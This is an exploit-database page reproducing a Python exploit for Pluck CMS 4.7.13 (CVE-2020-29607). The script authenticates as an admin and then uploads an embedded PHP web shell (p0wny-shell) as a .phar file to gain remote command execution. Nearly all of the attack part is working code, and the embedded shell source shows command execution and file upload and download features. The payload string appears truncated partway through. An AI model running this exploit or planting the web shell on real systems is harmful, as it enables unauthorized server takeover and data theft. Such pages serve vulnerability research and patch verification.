Lucene search
K

Pluck CMS 4.7.13 Remote Shell Upload

🗓️ 26 May 2021 00:00:00Reported by Ron JostType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 410 Views

Pluck CMS 4.7.13 File Upload RC

Related
Code
`# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)  
# Date: 25.05.2021  
# Exploit Author: Ron Jost (Hacker5preme)  
# Vendor Homepage: https://github.com/pluck-cms/pluck  
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13  
# Version: 4.7.13  
# Tested on Xubuntu 20.04  
# CVE: CVE-2020-29607  
  
'''  
Description:  
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin  
privileged user to gain access in the host through the "manage files" functionality,  
which may result in remote code execution.  
'''  
  
  
'''  
Import required modules:  
'''  
import sys  
import requests  
import json  
import time  
import urllib.parse  
  
  
'''  
User Input:  
'''  
target_ip = sys.argv[1]  
target_port = sys.argv[2]  
password = sys.argv[3]  
pluckcmspath = sys.argv[4]  
  
  
'''  
Get cookie  
'''  
session = requests.Session()  
link = 'http://' + target_ip + ':' + target_port + pluckcmspath  
response = session.get(link)  
cookies_session = session.cookies.get_dict()  
cookie = json.dumps(cookies_session)  
cookie = cookie.replace('"}','')  
cookie = cookie.replace('{"', '')  
cookie = cookie.replace('"', '')  
cookie = cookie.replace(" ", '')  
cookie = cookie.replace(":", '=')  
  
  
'''  
Authentication:  
'''  
# Compute Content-Length:  
base_content_len = 27  
password_encoded = urllib.parse.quote(password, safe='')  
password_encoded_len = len(password_encoded.encode('utf-8'))  
content_len = base_content_len + password_encoded_len  
  
# Construct Header:  
header = {  
'Host': target_ip,  
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/x-www-form-urlencoded',  
'Content-Length': str(content_len),  
'Origin': 'http://' + target_ip,  
'Connection': 'close',  
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',  
'Cookie': cookie,  
'Upgrade-Insecure-Requests': '1'  
}  
  
# Construct Data:  
body = {  
'cont1': password,  
'bogus': '',  
'submit': 'Log in',  
}  
  
# Authenticating:  
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'  
auth = requests.post(link_auth, headers=header, data=body)  
print('')  
if 'error' in auth.text:  
print('Password incorrect, please try again:')  
exit()  
else:  
print('Authentification was succesfull, uploading webshell')  
print('')  
  
  
'''  
Upload Webshell:  
'''  
# Construct Header:  
header = {  
'Host': target_ip,  
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060',  
'Connection': 'close',  
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files',  
'Cookie': cookie,  
'Upgrade-Insecure-Requests': '1'  
}  
  
# Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell  
data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display:  
  
# Uploading Webshell:  
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files'  
upload = requests.post(link_upload, headers=header, data=data)  
  
  
'''  
Finish:  
'''  
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar')  
print('')  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation